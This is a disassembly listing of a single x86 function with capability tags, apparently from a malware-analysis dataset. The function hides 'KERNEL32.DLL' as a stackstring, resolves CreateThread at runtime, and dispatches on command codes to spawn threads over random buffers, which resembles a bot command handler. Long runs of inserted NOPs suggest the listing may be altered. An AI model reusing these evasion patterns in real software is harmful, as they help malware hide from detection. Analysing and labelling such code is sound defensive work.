Function at 0x100027a2
Capabilities:
Contain obfuscated stackstrings
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push esi
push edi
push 0x974
push dword [ebp + 8]
mov esi, ecx
mov dword [0x1001e3a0], 1
push esi
call sub.MSVCRT.dll_memcpy
movzx eax, word [esi + 0x196]
lea edi, [esi + 0x196]
add esp, 0xc
mov dword [0x1001e3a4], eax
mov ax, word [esi + 0x192]
push 0x64
pop ecx
cmp ax, cx
je 0x1000280f
cmp ax, 0x65
je 0x1000280f
cmp ax, 2
je 0x1000280f
lea eax, [esi + 0x198]
mov dword [esi + 0x970], ecx
push eax
call sub.MSVCRT.dll_strlen
pop ecx
mov word [esi + 0x968], ax
lea eax, [ebp - 0x18]
xor ebx, ebx
push str.CreateThread
push eax
mov byte [ebp - 0x18], 0x4b
mov byte [ebp - 0x17], 0x45
mov byte [ebp - 0x16], 0x52
mov byte [ebp - 0x15], 0x4e
mov byte [ebp - 0x14], 0x45
mov byte [ebp - 0x13], 0x4c
mov byte [ebp - 0x12], 0x33
mov byte [ebp - 0x11], 0x32
mov byte [ebp - 0x10], 0x2e
mov byte [ebp - 0xf], 0x44
mov byte [ebp - 0xe], 0x4c
mov byte [ebp - 0xd], 0x4c
mov byte [ebp - 0xc], bl
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push ebx
push ebx
push edi
push 0x1000251d
push ebx
push ebx
mov dword [ebp - 4], eax
call eax
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push eax
call edi
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx eax, word [esi + 0x192]
cmp eax, 5
jg 0x10002abe
je 0x10002a18
sub eax, ebx
je 0x100029e4
dec eax
je 0x100029b0
dec eax
je 0x1000297c
dec eax
je 0x10002948
dec eax
jne 0x10002c9e
cmp word [esi + 0x194], bx
mov dword [ebp + 8], ebx
jbe 0x10002c9e
push 0x7d0
lea eax, [esi + 0x198]
push ebx
push eax
mov word [esi + 0x968], 0xa
call sub.MSVCRT.dll_memset
add esp, 0xc
cmp word [esi + 0x968], bx
mov dword [ebp - 8], ebx
jbe 0x10002924
push 0xc8
push 1
call fcn.1000242e
pop ecx
pop ecx
mov ecx, dword [ebp - 8]
inc dword [ebp - 8]
mov byte [esi + ecx + 0x198], al
movzx eax, word [esi + 0x968]
cmp dword [ebp - 8], eax
jl 0x100028fd
push ebx
push ebx
push esi
push 0x10003138
push ebx
push ebx
call dword [ebp - 4]
push eax
call edi
movzx eax, word [esi + 0x194]
inc dword [ebp + 8]
cmp dword [ebp + 8], eax
jl 0x100028d3
jmp 0x10002c9e
cmp word [esi + 0x194], bx
mov dword [ebp + 8], ebx
jbe 0x10002c9e
push ebx
push ebx
push esi
push 0x10003334
push ebx
push ebx
call dword [ebp - 4]
push eax
call edi
movzx eax, word [esi + 0x194]
inc dword [ebp + 8]
cmp dword [ebp + 8], eax
jl 0x10002958
jmp 0x10002c9e
cmp word [esi + 0x194], bx
mov dword [ebp + 8], ebx
jbe 0x10002c9e
push ebx
push ebx
push esi
push 0x10002efe
push ebx
push ebx
call dword [ebp - 4]
push eax
call edi
movzx eax, word [esi + 0x194]
inc dword [ebp + 8]
cmp dword [ebp + 8], eax
jl 0x1000298c
jmp 0x10002c9e
cmp word [esi + 0x194], bx
mov dword [ebp + 8], ebx
jbe 0x10002c9e
push ebx
push ebx
push esi
push 0x10002e03
push ebx
push ebx
call dword [ebp - 4]
push eax
call edi
movzx eax, word [esi + 0x194]
inc dword [ebp + 8]
cmp dword [ebp + 8], eax
jl 0x100029c0
jmp 0x10002c9e
cmp word [esi + 0x194], bx
mov dword [ebp + 8], ebx
jbe 0x10002c9e
push ebx
push ebx
push esi
push 0x10002cc5
push ebx
push ebx
call dword [ebp - 4]
push eax
call edi
movzx eax, word [esi + 0x194]
inc dword [ebp + 8]
cmp dword [ebp + 8], eax
jl 0x100029f4
jmp 0x10002c9e
cmp word [esi + 0x194], bx
mov dword [ebp + 8], ebx
jbe 0x10002c9e
lea eax, [ebp - 0x18]
push str.CreateThread
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 4], eax
push 0x7d0
lea eax, [esi + 0x198]
push ebx
push eax
mov word [esi + 0x968], 0x14
call sub.MSVCRT.dll_memset
add esp, 0xc
nop
nop
nop
nop
cmp word [esi + 0x968], bx
mov dword [ebp - 8], ebx
jbe 0x10002a96
push 0xc8
push 1
call fcn.1000242e
pop ecx
pop ecx
mov ecx, dword [ebp - 8]
inc dword [ebp - 8]
mov byte [esi + ecx + 0x198], al
movzx eax, word [esi + 0x968]
cmp dword [ebp - 8], eax
jl 0x10002a6f
push ebx
push ebx
push esi
push 0x10002cc5
push ebx
push ebx
call dword [ebp - 4]
push eax
call edi
movzx eax, word [esi + 0x194]
inc dword [ebp + 8]
cmp dword [ebp + 8], eax
jl 0x10002a28
jmp 0x10002c9e
sub eax, 6
je 0x10002c73
dec eax
je 0x10002b3e
sub eax, 0x5d
je 0x10002b0a
dec eax
jne 0x10002c9e
cmp word [esi + 0x194], bx
mov dword [ebp + 8], ebx
jbe 0x10002c9e
push ebx
push ebx
push esi
push 0x10003138
push ebx
push ebx
call dword [ebp - 4]
push eax
call edi
movzx eax, word [esi + 0x194]
inc dword [ebp + 8]
cmp dword [ebp + 8], eax
jl 0x10002ae6
jmp 0x10002c9e
cmp word [esi + 0x194], bx
mov dword [ebp + 8], ebx
jbe 0x10002c9e
push ebx
push ebx
push esi
push 0x10002cc5
push ebx
push ebx
call dword [ebp - 4]
push eax
call edi
movzx eax, word [esi + 0x194]
inc dword [ebp + 8]
cmp dword [ebp + 8], eax
jl 0x10002b1a
jmp 0x10002c9e
call fcn.1000259c
test eax, eax
je 0x10002ba4
cmp word [esi + 0x194], bx
mov dword [ebp + 8], ebx
jbe 0x10002c9e
lea eax, [ebp - 0x18]
push str.CreateThread
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push ebx
push ebx
push esi
push 0x10003334
push ebx
push ebx
mov dword [ebp - 8], eax
call eax
push eax
call edi
push ebx
push ebx
push esi
push 0x10003513
push ebx
push ebx
call dword [ebp - 8]
push eax
call edi
movzx eax, word [esi + 0x194]
add dword [ebp + 8], 2
cmp dword [ebp + 8], eax
jl 0x10002b57
jmp 0x10002c9e
push 0x30
call dword [sym.imp.MSVCRT.dll_putchar]
cmp word [esi + 0x194], bx
pop ecx
mov dword [ebp + 8], ebx
jbe 0x10002c9e
push 0x7d0
lea eax, [esi + 0x198]
push ebx
push eax
mov word [esi + 0x968], 0x14
call sub.MSVCRT.dll_memset
add esp, 0xc
cmp word [esi + 0x968], bx
mov dword [ebp - 8], ebx
jbe 0x10002c0e
push 0xc8
push 1
call fcn.1000242e
pop ecx
pop ecx
mov ecx, dword [ebp - 8]
inc dword [ebp - 8]
mov byte [esi + ecx + 0x198], al
movzx eax, word [esi + 0x968]
cmp dword [ebp - 8], eax
jl 0x10002be7
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
lea eax, [ebp - 0x18]
push str.CreateThread
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push ebx
push ebx
push esi
push 0x10002cc5
push ebx
push ebx
mov dword [ebp - 8], eax
call eax
push eax
call edi
push ebx
push ebx
push esi
push 0x10003138
push ebx
push ebx
call dword [ebp - 8]
push eax
call edi
movzx eax, word [esi + 0x194]
add dword [ebp + 8], 2
cmp dword [ebp + 8], eax
jl 0x10002bbd
jmp 0x10002c9e
cmp word [esi + 0x194], bx
mov dword [ebp + 8], ebx
jbe 0x10002c9e
push ebx
push ebx
push esi
push 0x10003513
push ebx
push ebx
call dword [ebp - 4]
push eax
call edi
movzx eax, word [esi + 0x194]
inc dword [ebp + 8]
cmp dword [ebp + 8], eax
jl 0x10002c7f
push str.Sleep
push str.KERNEL32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x3e8
call eax
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret 4